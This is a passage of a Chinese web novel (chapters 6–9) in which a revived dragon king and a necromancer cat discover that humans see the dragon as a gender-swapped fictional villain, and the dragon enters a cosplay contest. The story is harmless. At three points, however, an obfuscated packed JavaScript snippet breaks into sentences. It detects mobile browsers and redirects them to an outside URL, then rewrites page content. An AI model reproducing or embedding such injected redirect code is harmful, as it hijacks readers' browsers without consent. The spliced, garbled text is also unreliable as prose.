“天,太大了,是这片湖的鱼王吧?” “好臂力,换我估计用抄网都抄不上来。” 亥伯龙看到周围的人又拿出那个眼熟的铁皮,对着鱼一顿比划。 “大?”他的声音拖着调子,松松散散的,“这还算大?” 都不够他塞牙缝的。 甫一出口,顿时引来一阵惊呼。 没有人怀疑亥伯龙是在说大话,他就是有那种不屑于说谎的气质, 周围的人只是更加激动,七嘴八舌地询问亥伯龙口中所谓的“大鱼”。 亥伯龙没有理会,既然已经获得了食物,那下一步自然是将食物带回巢穴(或者说领地,随你怎么称呼)才是。 他们一路上回根据地的途中,更是引来了大量关注。 不过这一次,投来的眼神大多都落在了那条在阳光下反着光的巨鱼上。 和出门时的情况不同,不断有人上来追问鱼是哪里钓的,怎么钓的,想要获得更多信息,哪怕亥伯龙始终对他们不理不睬,也丝毫不气馁,依旧一路追着不放,紧紧地跟在亥伯龙的身后。 不过这一切在亥伯龙踏入废弃工地时,全都消失不见了。 追在亥伯龙屁股后面的人脸上闪过一丝迷茫,随即像是没有看到就在他们面前的亥伯龙般,奇怪地嘀咕了几句,转身各自朝着不同的方向离开了。 一个笼罩着整个废弃工厂的结界在亥伯龙穿过的瞬间闪烁了一下,随即隐于空气中,仿佛从未存在过一般。 …… 废弃工地中,莫特默第N次舔着嘴巴,难耐地凝视大鱼。 大鱼静静地躺在地上,原本银白的鳞片在龙息的炙烤下变得金黄酥脆,泛着诱人的光泽,丝丝缕缕的香气从鱼身上不断散发出来,萦绕在莫特默的鼻尖,紧紧地勾住了他的心神。 这可是他还不容易等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021772|194269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的,他来到异世界后的第一顿! 随着时间过去,大鱼逐渐冷却降温到适口的温度,莫特默迫不及待地狠狠咬下一大口。 莫特默:嚼嚼嚼。 莫特默:嗯…… 大鱼外焦里嫩,新鲜多汁,对他空空如也的腹腔来说就像是一场及时雨,就是…… 莫特默的眼睛微微眯起。 接着,脸瞬间垮下去。 难吃啊!!! 莫特默艰难地咽下了口中的鱼肉。无形的乌云笼罩在他的头上。 没有任何加工,只是猛火烤熟的鱼吃起来没滋没味,甚至因为内脏没有祛除,残留的内脏在高温的炙烤下,散发出一股淡淡的苦味,这苦味混合在鱼肉里,让原本就平淡无奇的鱼肉变得更加难以下咽。 坐在一旁的亥伯龙见状轻嗤了莫特默一声。 他以手支颐,盯着满脸痛苦面具,逼着自己吃吃停停的莫特默看了一会儿,突兀开口: “为什么呆在这?” 他视线扫了一圈周围连简陋都算不上,只能说是糟糕的环境,淡淡道, “随便抢个人类的不就行了。” “对于你来说,很容易吧。” 莫特默头也不回,还在埋头“苦”吃:“当然不行!” “在不熟悉的世界,怎么可以贸然行事?” 亥伯龙即便看不到,也能想象出莫特默那副一边满脸痛苦,一边在认真分析的表情。 “这里聚集了这么多无忧无虑的人类,一定有人类的强者在庇护他们。” “有能力做到这种地步,说不定是一名传说级别的大法师,或者不止一名!” 莫特默语气严肃,频频点头。 “虽然我未来将是最厉害的亡灵法师,但谁知道对方会不会看一只只是会点亡灵魔法的无辜猫猫不爽呢?” “哦?”亥伯龙语气兴味,“会看亡灵法师不爽的人类法师?听起来很合理。” 这么说着,他眼中满是对莫特默所说的人类法师的不以为意。 说完后,他意犹未尽,转而讽刺起莫特默, “即便是面对人类也选择东躲西藏,听起来也很符合亡灵法师的作风。” “不要小看人类!” 莫特默没有感到生气,反而舔着爪子,语气里一本正经。 在亥伯龙再说些什么前,他眼中闪过看好戏般地不怀好意,贼兮兮地说: “召唤你的媒介可就是从人类手里拿来的。” 亥伯龙脸上的表情没有变,眼神骤然冷却。 从……人类手上? “你的鳞片应该还算珍贵的东西吧?” 莫特默像是没察觉到亥伯龙身上悄然变化的气息,继续道, “我不认为知道这件事的人类会善罢甘休。” 龙鳞作为媒介,在召唤成功后就被消耗掉了。 根据那名追来的人类所说,龙鳞上有着追踪魔法,龙鳞消失,魔法消失,背后的人迟早会因为这一点找过来的。 闻言,亥伯龙不知想到了什么,冷笑了一下。 “所以!” 莫特默转过身面向亥伯龙,语气严肃, “我们下一步就是发展基地,积累力量!” “敢来的全部宰了就可以了。” 这么说着,但亥伯龙也没有拒绝莫特默的提议。 毕竟龙也有喜欢打造装饰巢穴的习性。 “为此……”莫特默表情郑重。 他在吃鱼时已经想好了,他们接下来的第一步, 也是最重要的一步,就是…… 亥伯龙垂眼与莫特默对视。 莫特默眼神坚定且肯定,还充满对亥伯龙的厚望。 就听他张口: “去打工吧,亥伯龙——!!!” 莫特默:¥w¥ 他声音掷地有声,回音在废弃工厂内不停回荡,不断反复袭击亥伯龙的耳朵。 亥伯龙:“……………” 7. 第 7 章 “我已经了解清楚了。在这里只要打工就能有钱,有钱了我们就可以购买物品,发展基地,寻找魔法素材和回去的方法!” 莫特默振振有词,眼中划过一丝奸诈的精光。 既然无法通过用亥伯龙勒索龙族获得大笔金钱,那让亥伯龙去打工赚钱也是殊途同归! 莫特默已经摩拳擦掌,做好从零开始,将此地打造成另一个法师塔的准备了! 是时候 make 法师塔 great again! 现在只需要工具人,啊不,他是说,亥伯龙,为了法师塔的伟大复兴付出一份小小的力。 莫特默扭过头,喉咙里闷闷地笑,刹那间,好似有无形的阴影打在他的脸上,营造出一种邪恶的氛围。 没错,他就是邪恶又聪明的死灵法师猫! 莫特默特地扭着身子脸背对亥伯龙,也没有笑出声,可那一耸一耸的身子完全完美地暴露了他。 亥伯龙:…… 莫特默那浅薄得一眼都能看出的算盘亥伯龙都懒得瞧。 让他打工挣钱?亏莫特默想得出来。 “想要钱?”他扯了扯嘴角,微微抬起下巴,语气像是施舍乞丐般随意道, “我的财富即便填满这里的每一个角落也装不下。” 好霸气,好动听的一句话。 猫喜欢。 莫特默登时猫躯一震,尾巴绷直,如听仙乐耳暂明。 还有这种好事? 他的大脑紧急启动。 是了,亥伯龙可是个已经死了的龙王! 龙族个个富得流油,不仅有钱,还喜欢抢其他人的钱,因为强别人还抢不回来,久而久之,累积的财富如同一座金山般无法估量。 连他曾偶然间发现的,疑似因为主人身死或被遗弃的无龙龙巢,其中也有着堆成山的金币宝石。 亥伯龙可是个龙王,怕不是其中翘楚? 而属于亥伯龙的那份财富,此时恐怕就静静掩藏在世界的某个角落。 龙,他悟了! 一点点打工哪有一下子暴富好? 不就是掘墓,这个他擅长! 等会儿他就要继承龙王的百亿资产,成为猫上猫! 莫特默两眼放光,忍住想要喵喵叫的冲动,渴望地望向亥伯龙,眼睛已经完全变成了两个字的形状:在哪? 亥伯龙微微一笑,笑容看似温良,像个好心人般提议道:“何不如去问问龙族呢?” 在他收集到的庞大财富中,无论是堆积如山的金币,璀璨夺目的宝石,亦或是稀世罕见的珍宝,拥有的数量多到连他自己都数不清。 但历经漫长的岁月,知道那些财宝如今下落的,估计也只有龙族。 可就不知道,亥伯龙心中充满恶意地想,莫特默敢不敢去了。 敢不敢作为一个死灵法师,前去冲着龙族讨要被自己用亵渎魔法强行唤醒的死灵生前的财富? 想着,亥伯龙嘴角不禁翘起。 可他嘴角刚翘起一点, “走走走!我们去问龙族在哪!” 一道黑色的闪电冲向废弃工厂的大门,伴随着兴奋的声音。 冲到一半见亥伯龙没动,那道黑色的影子,莫特默停住扭身回头,用催促的眼神望过来。 亥伯龙:“……” 亥伯龙浑身气势一泄,唇线拉平,神情无趣地随之起身。 ……他早该想到的。 都能胆肥到对他如此不敬,又怎么会畏惧别的? …… “喵喵喵~喵喵?” “好可爱——”穿着校服的女学生忍不住弯下腰,扶住膝盖,仔细地打量那只停在她脚边的奶牛猫。 “哎呀,是饿了吗?” 她惊喜道,又苦恼起来。 虽然很想投喂一下,但她身上目前可没有带吃的。 要不去附近的便利店买点?这么想着,忽地,一个巨大的阴影从身后笼罩住她。 女学生下意识一惊,回头。 紧接着,她眼神中应激的警惕在见到来人那如阿波罗般英俊惊人的面容中时一滞,消减了大半。 而对方也比她想象中站得远,只不过是因为过于高大,才导致投下的阴影隔着一个半身位就罩住了她。 “……你好?”女学生声音迟疑,试探道,“hello?” 是……附近迷路的外国人吗?她打量亥伯龙与众不同的面容和一身华丽过头的衣裳,有些犹豫不定。 “喵喵!”与谨慎的女学生不同,原本绕在她脚边的奶牛猫应是认识对方,立马窜到男人脚边,两爪一伸扒住男人的裤腿,沿着裤脚往上,一眨眼就灵活地攀到男人的肩膀上。 男人蹙起眉,应该是对猫的行为有些微词,可也没有拂手将猫甩下去。 模样可爱的猫站在男人肩头,无形中大大削弱了男人自带的压迫感。 甚至因为形象过于反差,女学生的脸在她没反应过来前,已绽放出笑容。 亥伯龙言简意赅:“龙族现今在哪?” 女学生脸上闪过一丝茫然。 可还没等亥伯龙说什么,女学生猛地反应过来,随即露出恍然又惊讶中带着点善意的表情,热情地回答道: “我知道!在那边,过马路直走后右转!” 她用手比划着路径,像是在那短短一瞬领悟了什么,眼中残留的警惕彻底消失不见,转为一种夹着了然的促狭。 亥伯龙挑眉。 他确信,方圆十里内不存在除他之外的第二个龙族。那这个人类口中的是什么? 怀着点兴致盎然,亥伯龙转身朝女学生指的方向走去。 随着他的步伐,周围的街道逐渐变得嘈杂起来。 很多衣着颜色鲜艳的人类朝着和亥伯龙一样的方向走着,似乎目的地与他相同。 最终,亥伯龙顺着人流在一处充满人群的广场站定。 与街道上不同,这里穿得花里胡哨的人类遍地都是,穿衣风格本与其他人迥异的亥伯龙像是一开始就属于这里一般显得格外和谐,甚至因为没有一些奇形怪状的部件,反而显得更像人类一点。 莫特默奇怪又新奇地左顾右盼。 在广场的最中心,是一个圆形的舞台。环绕着舞台,不远处,几个摊位规整地排列着。 颜色鲜亮的旗帜在一个个摊位上飘动,上面写着莫特默理解不了的话。 【精善被龙欺,不善也被欺】 【冒险者别回头,你身后的是魔杖,痛是正常的】 【口口口(未过审)】 【本摊位所有收入将用于助力魅魔竞选魔王】 莫特默看不懂,但能感受到周围欢欣的氛围,也能看到周围人类拙劣但颇有趣味的扮相。 他们有些给自己耳朵外套个尖耳朵,这应该是在扮演精灵。 有些背个假翅膀,这毫无疑问是在模仿天使。 而有些甚至还有就披个水蓝色大麻袋,只露出一双眼睛……嗯……这个,这个…… 莫特默脑中灵光一闪:啊哈,是史莱姆! 莫特默顿时从中感到一阵满足,于是观察起来愈发兴致勃勃。 在接二连三的“猜猜他是哪个种族”游戏中,莫特默也没有忘了他们一开始的目的。 他们是为了找到关于龙族在哪,结果那个女学生指了这,难道这里是人类为了促进种族和谐而举办的庆典,而接下来会有一个龙族受邀来此? 就在莫特默还在思考间, “亥伯龙,我要当你一辈子的狗!!!” 一声呐喊响彻广场。 亥伯龙和莫特默动作划一,“唰”地循声望去。 就见呐喊的是一名年轻人类男性,他站在一个等身立牌前,显然是冲着那个立牌喊的,而那个立牌…… 亥伯龙&莫特默:! 莫特默惊奇不已:“亥伯龙,是你嗳。” 亥伯龙:…… 即使隔着一段距离和人群,亥伯龙依旧可以清晰地看到,立牌上写着【红龙王亥伯龙】几个字。 而在这行字背后,是一名头上有龙角,身后有红色龙尾,衣着暴露的…… 美女。(划重点) 她红唇扬起,神情高傲而挑逗,身材性感,一只脚踩在一个石头上,一只覆着红色鳞甲的手虚虚向上握起,由上而下地俯视面前的人,即便只是平面化的作画,也有一种说不尽的风情,让人既想要狠狠折辱她,让她低下头,又让人想乖乖跪在她面前,被她斥责。 “唔?龙族还有另一个叫亥伯龙的龙王?”莫特默吃惊道。 亥伯龙:…… 对骄傲的龙族而言,每个龙的姓名都是独一无二的,龙族也从没有继承或用以往龙王姓名为自己或下一代冠名的习俗。 可要是这么想…… 莫特默自认为隐晦地移开视线,无辜道:“很有人气,很受欢迎嗳。” 好多人类,特别是年轻的人类男性聚集在那个立牌面前, 在当狗宣言震撼首发后,似乎还有下一个男性跃跃欲试,打算来个震撼次发。 亥伯龙:…… 亥伯龙没有作声,可莫特默的余光中清楚地看到了那下撇的嘴角。 “看,还有精灵王!” 感受到爪下明显的温度上升,为了防止亥伯龙一口气烧掉整个广场,莫特默忙转移亥伯龙的注意力。 在“亥伯龙”立牌不远处,另一个写着精灵王的立牌上,一个看上去只是处在少女阶段的女精灵手中拿着一把弓箭,表情坚毅。 当然,再再不远处,还有几个立牌。 亥伯龙:…… 他认得上面的名字……都认得。 但他们的性别,他不认得。 亥伯龙: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021773|194269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 又是惊愕,又是荒谬,又是想笑,各种各样的情绪搅合在一起,亥伯龙一时间说不出话来。 这时,一张轻薄的纸被递到亥伯龙手中。 他接住,低头一看。 纸上画在立牌上的那个“亥伯龙”,一副满脸红晕的模样。 亥伯龙猛地将纸攥起,纸瞬间皱得不成样,看不出上面是什么了。 “别装了,我都看见了。” “看得那么目不转睛。”递纸的是的年轻人类男性,戴着一副眼镜,他朝亥伯龙挤眉弄眼道,“第一次,还是资深粉?” 眼镜男嘿嘿笑着,笑容看上去有点猥琐,“要不要来看看我们摊位新出的同人本?第二本5折哦。” 亥伯龙像是被伤到了眼睛地阖了阖眼:“这是什么?” 眼镜男又是神秘一笑,“兄弟,听说过亥伯龙吗?就是魔法神话传说里的反派,那个就是。” 亥伯龙:…… 反派?这倒听起来有点像是形容他的。 ……真的是他? 莫特默悄悄瞪圆了眼,耳朵竖得高高的。 可那个“亥伯龙”……怎么看都是女性吧? “性转怎么了?不性转谁会看?”眼镜男误会了亥伯龙脸色古怪的原因,嘿然一笑,“你看那立牌,现在可火了。” 亥伯龙第一反应:“龙族呢?” 龙族怎么会放任人类做出这种事情? “亥伯龙不就是?”眼睛男奇怪道。 接着,似乎从亥伯龙的视线中感到一股压力,他缩了缩脖子,又不明白自己为什么会如此,讪笑道: “不是兄弟,难道你还相信故事里的龙族啊,魔法生物啊什么的真实存在啊?” “都什么时代了,那都是传说,编的故事。” “说白了,那都是古人想象出来的,根本经不起推敲。” 见亥伯龙没有给出反应,他便也闭口不再谈。 “我这有大热的同人本打折,要是想要的话别错过哈。” 觉得向亥伯龙推销无望,又怕亥伯龙人高马大,要是不小心激怒了对方被打,眼睛男打了一声招呼,便转身混入人群。 徒留亥伯龙站在原地,消化刚刚的一番话。 那个人类说…… 传说故事? 亥伯龙,他的一生在人类眼中只是一个传说故事? 而他自己,也只是一个被笔写下的人物,一个被操控命运的玩偶? 手中皱皱巴巴的广告传单上是“亥伯龙”扭曲的面容,上面原本美丽羞涩的笑容弧度经过折叠后无端变得恐怖非人。 亥伯龙的嘴角像那张纸上的一样,缓缓提起。 “猫的钱——!!!” 一声悲鸣在极近的距离忽地炸响。 是莫特默。 亥伯龙眼睛转向肩头的莫特默,假惺惺又不紧不慢道: “真遗憾,我作为一个故事中的人物,你想要的钱自然也就不存在了。” 莫特默悲痛欲绝地瞪了亥伯龙一眼:“你在说什么?” “我可是亡灵法师,你是我召唤出来的,怎么可能只是故事中杜撰的虚拟人物?!” “但人类都认为龙族只存在于故事中,那我们根本无法从人类口中得到关于龙族的消息了!” “我的钱……” 他满脸失魂落魄,又不死心地朝亥伯龙问: “龙,你还记得你生前将钱藏哪儿了吗?” “……”亥伯龙定定地盯着莫特默看了一会儿,似是有些意外,少顷, ……哈,没错。 他挂在嘴边的嗤笑此刻终于大声又放肆地从嘴边断断续续地溢出,那笑声中满是怜悯与嘲讽。 与此同时,他手中皱巴的传单无风自燃,火光从最中心处点燃,蔓延至整张传单,只是一眨眼,整张纸就在空气中化为黑色的灰烬被风吹走。 他松开手,手掌上干干净净,没有留下任何传单曾经存在过的痕迹。 什么故事?!笑死他了!! 要真是故事,谁有资格来书写他的一生?! 人类将他的一生,将那些所不能理解的解释为虚拟的故事…… 不过是弱者的自我安慰罢! 相比起来,倒是这个亡灵法师看起来更顺眼。 亥伯龙放松身体,声音慵懒地回答道:“即便我记得地点,也没有用。” 他好心情地捏了捏莫特默的耳朵,洒脱地说:“即使我是龙王,在我死后,我的财富也会被其他龙族夺走。” 晴!天!霹!雳! 莫特默仿佛被电得浑身冒黑烟:!!! 怎会如此—— 莫特默停下闪躲亥伯龙手的动作,扭头, “既然如此,龙,去打工唔唔……” 亥伯龙捏着猫的嘴筒子,面无表情:“闭嘴。” 8. 第 8 章 “不过是暂时性的亡灵契约,还真想把我当做你的奴隶为你挣钱?” 亥伯龙凝视莫特默的眼睛,不轻不重地警告道。 莫特默被他捏着嘴巴无法说话,可满脸都不驯地写着“当然”“不然呢”“这是你的荣幸”的表情。 那因皱起的表情下压的白色豆眉给人一种可爱又可恶的无辜感,让人情不自禁想原谅他, 可其下嚣张闪烁金色的眼眸又传递出一种明晃晃的挑衅,像是在说“我就这么想的,怎地?”,让人瞬间打消之前的想法,还想进一步狠狠惩罚一下。 莫特默还试图甩头逃脱亥伯龙的魔爪,但结果当然可想而知,亥伯龙的手像个止咬器一样牢牢地锢在他的嘴上。 不等亥伯龙暗中冷笑一句不愧是死灵法师,死性不改,莫特默眼珠子一转,忽然安分下来,只“唔唔”了两声示意亥伯龙放手,他有话要说。 亥伯龙立刻意识到了其中的古怪,但还是松了手想听听莫特默想说什么。 不会是想大放厥词,或是打算乘他不备咬他一口后得意地溜之大吉吧? 他刚想着,就听到莫特默迫不及待说:“那就算啦。” 那语气显得格外大方,就差大手一挥,好似他之前不服的表情,挑衅的眼神都是假的,亥伯龙幻视出来的一样。 亥伯龙直言不讳:“你想做什么?” 这话可完全不像死灵法师会说的话。 可要是说莫特默因为屈服于他而放弃了计划……笑话,他又不是没见过真的屈服于他的模样是什么样的。 亥伯龙垂眸审视。 莫特默在他的视线中装乖地安静了几秒,但那眼珠子一转一转的模样,看就知道是在憋坏, 看得龙手心发痒,想逆毛捋,将那身顺滑油亮的皮毛弄得东倒西歪。 他向来想做就做。 所以亥伯龙毫不犹豫伸手了。 像是冥冥中预知到危机,莫特默忙开口,用和“去打工”一样的语气打断道: “龙,去参加比赛吧!” 亥伯龙伸到一半的手停下。 可他只停下不到一瞬,又毫不迟疑地沿着之前的路径,丝滑地一把从莫特默的尾巴根撸到脖颈。 嗯,手感和想象中的一样好。 在莫特默的惨叫与骂骂咧咧跳下他肩膀的声音中,亥伯龙嘴角噙着笑意,自若地回应:“比赛?” 莫特默扭着脖子不停舔自己的毛,直到将所有毛毛勉强舔顺,他才恨恨地回头。 他阴暗地盯着亥伯龙,嘴巴不断小声嗫嚅了好一阵,像念咒语一样不知咒骂了什么,才勉强把自己哄好。 “就是那个舞台背后立着的那个巨型背景板。” 他气鼓鼓道,“看,上面写着有一场国际大赛,第一名有20万奖金!” 亥伯龙随之望去,随意地打量了一圈。 舞台的背景板上写着第4届国际cosplay大赛的文字,而在舞台不远处,一个横幅写着报名点的摊位就立在那。 提起赚钱这个要紧事,莫特默的语气终于恢复了正常,振作起来努力怂恿亥伯龙。 “那个cosplay一定就是在说周围人打扮成其他种族的行为,比起人类,你岂不是对其他种族更了解?肯定能一举夺冠!” 亥伯龙收回视线:“不去。” 他满脸兴致缺缺,一点也没有配合的意图。 要他打扮成他人站在台上哗众取宠,还是为了博得人类的喜爱? 嗤,不愧是死灵法师能想出来的主意。 他瞥了一眼莫特默,嘴角挂起意味不明的笑:“你倒是可是去试试。” 莫特默急了,连亥伯龙口中潜藏的含义也顾不得计较,反驳道:“你怎么不行?” 哎呀!他要是可以他早就去了! 可在这里根本无法从空气中提取大量魔力,他的魔力只能靠他自己一点一点像挤牛奶一般产出。 变成人型需要大量魔力,维持更是,他现在大部分魔力都供给亥伯龙,在找到新的有效获得魔力的方法前,他的每一点魔力都要精打细算,用在刀刃上,像是笼罩整个废弃工地的忽略魔法,防御魔法之类的,没看他连翻译魔法都不舍得用吗? 现在继承亥伯龙的遗产遥遥无期,只能指望这个大赛,他就猜道亥伯龙不会轻易答应,所以本来想偷偷给亥伯龙报名的。 不过…… 眼下也不是没有机会! 他知道亥伯龙不愿意参加,一定是因为以龙族的骄傲不屑于扮演其他种族,更别提扮演其他种族的角色。 但就这个问题 ——根本难不倒他! “我知道一个就很受欢迎,很有机会赢得比赛,而且你可以直接就这么上台的角色!” 要想获得那20万优胜奖,亥伯龙的意愿是其中最大的阻碍。 但现在不是了。 莫特默嘴角挂上胸有成竹的微笑。 他已经找到了那个天选中的天选,那个为亥伯龙量身定做,独一无二的cosplay角色! 莫特默用一种发现新大陆的语气对亥伯龙道: “你完全可以扮演自己。” “cosplay‘亥伯龙’啊!!” 说完,莫特默为自己发现问题,解决问题的能力沾沾自喜了几秒。 “亥伯龙”怎么能算其他人呢?而扮演“亥伯龙”怎么不算扮演他自己? 不愧是他,世界上最聪明的小猫! 亥伯龙则瞬间回想起立牌上的那个“亥伯龙”, 那个媚眼如丝的脸庞出现在他的脑海中,画面上似乎自带粉色爱心特效和“哇哦~”的音效。 亥伯龙:…… “想死吗。”亥伯龙直接发出死亡通告。 莫特默丝毫不虚,振振有词:“我是说,你可以扮演性转版的‘亥伯龙’!” “本色出演!” “而且这样一来,不正可以修正人类对亥伯龙的错误认知吗?” “还是说,”莫特默矫揉造作,浮夸地吃惊道,“难道你自己身为亥伯龙本尊,却没有赢过‘亥伯龙’获得冠军的信心?” 亥伯龙冷眼觑着莫特默:…… 呵。 无聊。 低级的挑衅。 “……”亥伯龙一把抓起地上的猫,冷笑:“等着。” * “下一位。” “下一位……” 拿着笔的工作人员有气无力地说道。 随着赛事逐年出圈,再加上是免费报名,每年都有越来越多的人来报名参加他们这个cosplay大赛, 但来报名的人大多只是来凑热闹,想着不报白不报,万一通过了呢,或者干脆是没有自知之明,自认是沧海遗珠,可实际上不用上台,他看一眼就知道是要被淘汰的命。 要他说,在菲瑞集团铺天盖地的宣传下,真正的好苗子早在前3届已经出得差不多了, 剩下的都是一些歪瓜裂枣,矮子里拔高个,和之前的冠军,或者说连往届普通的参赛人员都没法比。 只是苦了他们这些负责给coser报名和评选的工作人员,一天天的,要面对这么多参赛者。 忽然,周围传来一阵骚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021774|194269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动。 工作人员头也不抬,扬声道:“别急,别挤,马上就到下一位了!” 这也是常有的事,因为人多,有时难免会有摩擦,不过附近有安保人员,所以也不用太担心。 可出乎工作人员意料的是,骚动很快停止了,周围甚至变得比骚动前还安静。 怎么这么快没声音了?他不禁猜测,难道是上一届哪个知名coser来了? 他处理完手头上这份报名表,怀着想要洗眼睛的期待和好奇抬首。 紧接着,怔在座位上。 他的面前,原本挤挤攘攘的人群如摩西分海般朝两侧涌去,空出一条空荡的,通向他这的路来,像是有无形的地毯铺在这条道路上。 在这条直通他的路上,一名出彩到甚至令人感觉和其他人不在一个图层上的男人目不斜视,闲庭信步,笔直地朝他走来,好似周围人的目光和避让是如此理所当然。 工作人员哑然,在最初的震撼后,他眼前一亮,精神一震,心中甚至生出些感动来。 见了那么多拟人,终于……他终于抽出SSR了! 还是个从未见过的陌生面孔! 工作人员迷之微笑着等到那个阴影出现他面前的台子上,开口: “你好,是来了解cosplay大赛的吗?” 他坐直身,力求展现自己的专业态度,堪称滔滔不绝地介绍起来。 “我们这是菲瑞集团赞助,每年一次的全球性cosplay大赛,举办到如今已经是第4届,制度已相当成熟。” “我们会先从各国本土开始举办初赛,一路到最后,全国各地的coser都会汇聚到一起参加最后的比赛,而参与者不只是最终决出的第一名,只要是能通过每轮的赛事,都能获得一笔由菲瑞集团提供的不菲奖励。” “不仅如此,很多人因为这场比赛积累了粉丝和知名度,后续还有和签约成为全职coser或模特的。” “看您条件很不错,有很大机会在赛事上取得成就。” “您想来参加吗?”他期待地说。 亥伯龙微微颔首。 工作人员抽出一张新的报名表,迫不及待地问:“那请问您的姓名是?” “亥伯龙。” “……最好不要用喜欢的角色的名字,自己起一个网名或者艺名比较好,或者用真名也是可以的。”工作人员善意地提醒道。 亥伯龙:“是真名。” 工作人员:“……?” 亥伯龙不耐,视线居高临下,但还是道:“亥伯龙,是真名。” 工作人员:“……” 工作人员不理解,但尊重,他保持微笑道:“我知道了,我这就为您登记姓名为‘亥伯龙’。” 在粗略问完亥伯龙的基础信息,并得到一系列“电话号码?没有”,“住址?废弃地”,“职业?龙王”等不知所云的回答后,他坚强地交代好了接下来的参赛信息,送走了亥伯龙。 看了看手中的报名表,又望向亥伯龙远去的背影,工作人员不由感叹: 长成这样的神颜,竟然也会是高度死宅中二病吗? 可他转念一想。 玩cosplay的,好像也正常。 而且…… 工作人员的嘴角不受控制地高高扬起。 嘿嘿嘿!其实他也是亥伯龙的粉丝!喜欢亥伯龙,有品。 想着,他的眼中猛地发出同道中人的光芒。 一股恶寒猛地从背后涌起,已经走远了的亥伯龙停下脚步。 亥伯龙:…… 亥伯龙:……? 9. 第 9 章 “怎么了?”莫特默注意到亥伯龙脚步反常地停下,立即眼神警惕地左右环顾。 “……”亥伯龙顿了顿,继续抬步,“不,没什么。” 莫特默顿时放松紧绷的身体,丝滑地切换回之前的话题,兴致勃勃道: “那你想好要怎么夺冠了吗!” 根据亥伯龙拿到的号码,他的比赛时间在漫展结束的最后一天,也就是3天后,地点就在广场中心的那个舞台上。 为了比赛,他们必须事先做好准备。 虽说是cosplay大赛,但每个参赛的人也需要准备一段几分钟的上台表演,大多都会是跳舞,武打,或者情景剧。 而即便是再没有什么才艺,只是向评委和观众展示自己cos的还原性,也会选择类似走秀的形式。 也就是说,就这么往上一站,直愣愣地站他个五八分钟,是行不通的!! 而对于亥伯龙而言……跳舞?走秀? 莫特默在心里将头摇成拨浪鼓。 他只是一个柔弱的猫猫法师,还不想被龙火烤成猫碳。 至于武打……亥伯龙可能会愿意,但和谁打?而且…… 莫特默虽然可以想办法半夜掘个墓,给亥伯龙找几个武打搭子,可恐怕人类不会欣赏这种过于血腥的艺术。 在脑中联想到舞台上血肉横飞,甚至飞溅到舞台前评委脸上的场景,莫特默在心里否决了这个想法。 这么看来,似乎只有情景剧还有点可行性。 而既要亥伯龙愿意出演,又需要从众多参赛者中脱颖而出…… “既然是本色出演。” 莫特默由衷乐观道,“那直接上台复刻一小段令你记忆深刻,特别的过往经历不就好了?” 他相信,亥伯龙作为一个龙王,生前的经历一定波澜壮阔,只要拿出其中的一小片段,就够惊掉那群人类的下巴! 亥伯龙微抬眼,刹那间大片的血色随着回忆如潮水般在眼前一闪而过,嘈杂的怒吼声与激烈碰撞声出现一瞬,又泡影般迅速远去, 他的眼前重新又是那些陌生,挤挤攘攘又安逸的人类面容。 “没有。”亥伯龙说。 他语气平淡又肯定,“我的过往中没有什么令我记忆深刻的地方。” “哎哎哎!” 莫特默立马大声叫唤起来,认定是亥伯龙没有认真回忆,或是干脆不愿意披露自己的过去,在敷衍他。 “怎么可能会完全没有?!” “印象里只有敌人哀嚎的脸,”亥伯龙沉吟,“但这也没什么特殊的吧?” “不过你要是想复刻这个,也不错。” 想到那个场景,他露出肆意狂气的笑,说话的腔调也变得满是怂恿和赞赏。 你只是单纯想揍人吧! 莫特默狠狠撇嘴,在心中腹诽。 他接着左思右想,亥伯龙一生中不可能只有战斗,那除了战斗…… “像是情深义重,深爱你的爱人?”莫特默试图从情感世界入手。 亥伯龙:“没有。” 他回答得很快,快得仿佛这个问题对他来说根本不值得思考。 “属于龙族内部的权利斗争?” 莫特默从善如流地换了一个方向,语气故作深沉地举例。 亥伯龙再道:“没有。” 还不等莫特默质疑,亥伯龙眼神微微一抬,像是忽然想起了什么,露出些许恍然: “你是说那些提出反对意见的?” 可他即使想起了,也显然没放在心上。 “都杀了。” 那口吻随意得像是在说什么打发时间的游戏,轻描淡写之间,好像全然没有意识其中蕴含的浓烈血腥气, 更别提做出这种行为的,往往都会被蔑称为暴君。 或是即便意识到了,也不以为意? 莫特默在心中蛐蛐了一下亥伯龙秉性傲慢,接着绞尽脑汁,又想出一个: “成为王之后的酒池肉林呢?!” 连被否了两个,对莫特默而言,这件事情的性质已经变了。 他不相信亥伯龙真的没有一点令他深刻的记忆,也不相信他挖不出来!更别提这还关乎他的奖金。 莫特默虎视眈眈地端详亥伯龙的表情,不放过任何会产生的变化。 属于王的纵欲和享受,这个总该有了吧?不要说龙族不爱享受! “无聊。” 